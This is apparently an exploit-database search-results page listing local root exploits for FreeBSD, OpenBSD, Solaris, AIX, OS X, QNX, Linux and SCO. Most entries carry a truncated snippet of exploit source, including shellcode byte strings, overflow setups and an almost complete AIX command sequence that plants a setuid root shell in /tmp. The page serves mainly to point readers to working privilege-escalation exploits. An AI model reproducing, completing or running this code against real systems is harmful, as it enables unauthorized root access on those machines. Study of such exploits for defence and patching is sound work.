1414 matches found
CVE-2007-0166
The jail rc.d script in FreeBSD 5.3 up to 6.2 does not verify pathnames when writing to /var/log/console.log during a jail start-up, or when file systems are mounted or unmounted, which allows local root users to overwrite arbitrary files, or mount/unmount files, outside of the jail via a symlink...
OpenBSD 3.x - 4.0 vga_ioctl() Local Root Exploit
No description provided by source. / Critical Security OpenBSD 3.x-4.0 vgaioctl root exploit Bug had been discovered by allmighty Ilja van Sprundel ilja.netric.org Some code had been stolen from noir's openbsd exploit sources Fix is available:...
OpenBSD 3.x - 4.0 vga_ioctl() Local Root Exploit
Exploit for bsd platform in category local exploits ================================================ OpenBSD 3.x - 4.0 vgaioctl Local Root Exploit ================================================ / Critical Security OpenBSD 3.x-4.0 vgaioctl root exploit Bug had been discovered by allmighty Ilja v...
Xcode OpenBase <= 10.0.0 (symlink) Local Root Exploit (OSX)
No description provided by source. !/usr/bin/perl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom = ftp://www.openbase.com/pub/OpenBase10.0 vulnerable ? Create a new file anywhere on the filesystem with rw-rw-rw privs. Sorry you can NOT overwrite existing files. Writin...
Xcode OpenBase <= 10.0.0 (unsafe system call) Local Root Exploit (OSX)
Exploit for macOS platform in category local exploits ====================================================================== Xcode OpenBase \n\nTargets:\n\n"; foreach $key sortkeys %tgts $a,$b = split/:/,$tgts"$key"; print "\t$key . $a - $b\n"; print "\n"; exit 1; $ret = pack"l", $retval; $a,$b =...
Progress Database Server 8.3b (prodb) Local Root Exploit
No description provided by source. / progress database server v8.3b local root compromise. for sco-unix and linux on linux redhat 6.2 and SCOSV scosysv 3.2 5.05 this is just one of it, advisory about the bug discovery grabbed from packetstorm, which was originally found by:...
hztty 2.0 Local root exploit (Tested on Red Hat 9.0)
No description provided by source. / 0x333hztty = hztty 2.0 local root exploit more info : Debian Security Advisory DSA 385-1 note I adjusted some part of hztty's code since there were some errors. hope this will not influence exploitation : tested against Red Hat 9.0 : c0wboy@0x333 c0wboy$ gcc...
Solaris 8/9 passwd circ() Local Root Exploit
No description provided by source. / $Id: raptorpasswd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorpasswd.c - passwd circ local, Solaris/SPARC 8/9 Copyright c 2004 Marco Ivaldi [email protected] Unknown vulnerability in passwd1 in Solaris 8.0 and 9.0 allows local users to gain privileges...
AIX 5.1 to 5.3 lsmcode Local Root Command Execution
No description provided by source. mkdirhier /tmp/aap/bin export DIAGNOSTICS=/tmp/aap cat /tmp/aap/bin/Dctrl EOF !/bin/sh cp /bin/sh /tmp/.shh chown root:system /tmp/.shh chmod u+s /tmp/.shh EOF chmod a+x /tmp/aap/bin/Dctrl lsmcode /tmp/.shh...
AIX 5.2 paginit Local Root Exploit
No description provided by source. / IBM AIX paginit root exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy at caughq.org / include stdio.h include unistd.h include stdlib.h include string.h define DEBUG 1 define BUFFERSIZE 8000 define EGGSIZE 4003 define NOP 0x60 define...
Sun SUNWlldap Library Hostname Buffer Overflow Exploit
No description provided by source. / hoagiesolarisldap.c gcc hoagiesolarisldap.c -o hoagiesolarisldap Author: Andi [email protected] Greetz to Greuff, philipp and the other hoagie-fellas :- THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY...
Sendmail 8.11.x Exploit (i386-Linux)
No description provided by source. / sendmail 8.11.x exploit i386-Linux by [email protected] sd@ircnet This code exploits well-known local-root bug in sendmail 8.11.x, 8.12.x may be vulnerable too, but I didn't test it. It gives instant root shell with +s sendmail 8.11.x, x 6 We're using objdump, gdb & gr...
traceroute Local Root Exploit
No description provided by source. / MasterSecuritY www.mastersecurity.fr openwall.c - Local root exploit in LBNL traceroute Copyright C 2000 Michel "MaXX" Kaempf [email protected] Updated versions of this exploit and the corresponding advisory will be made available at:...
SCO Openserver 5.0.7 (MMDF deliver) Local Root Exploit
No description provided by source. / MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86 Copyright 2004 Ramon de Carvalho Valle / char shellcode= / 36 bytes / "\x68\xff\xf8\xff\x3c" / pushl $0x3cfff8ff / "\x6a\x65" / pushl $0x65 / "\x89\xe6" / movl %esp,%esi / "\xf7\x56\x04" / notl...
Solaris 10 DtPrintinfo/Session Local Root Exploit (x86)
No description provided by source. !/usr/bin/perl Solaris 10 DtPrintinfo/Session Exploit x86 EDUCATIONAL purposes only.... :- by Charles Stevenson core [email protected] greetz to raptor for sharing this vulnerability and in no specific order just want to show love for: nemo, andrewg, jduck,...
Solaris 9 / 10 ld.so Local Root Exploit (1)
No description provided by source. / - SunOS 5.10 Generic i86pc i386 i86pc - SunOS 5.9 Generic112233-12 sun4u It does NOT work on: SunOS 5.8 Generic117350-02 sun4u sparc Example on unpatched Solaris 10 AMD64: atari:venglin: cat dupa.c / static char sh =...
GLIBC (via /bin/su) Local Root Exploit
No description provided by source. / Working exploit for glibc executing /bin/su To exploit this i have used a technique that overwrites the .dtors section of /bin/su program with the address of the shellcode, so, the program executes it when main returns or exit is called Thanks a lot to rwxrwxr...
QNX Neutrino 6.2.1 (phfont) Race Condition Local Root Exploit
No description provided by source. !/bin/sh word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383 greetings and salutations from www.lort.dk kokanin@dtors 18/10/2003 $ cksum /usr/photon/bin/phfont 4123428723 30896 /usr/photon/bin/phfont $ uname -a QNX localhost...
sudo.bin NLSPATH Local Root Exploit
No description provided by source. include unistd.h include stdio.h include stdlib.h include fcntl.h include sys/stat.h define PATHSUDO "/usr/bin/sudo.bin" define BUFFERSIZE 1024 define DEFAULTOFFSET 50 ulong getesp asm"movl %esp, %eax"; mainint argc, char argv uchar execshell =...
Solaris 9 / 10 ld.so Local Root Exploit (2)
No description provided by source. / Solaris 9 on SPARC: $ cat dupa.c / char sh = / setuid / "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" / execve / "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"...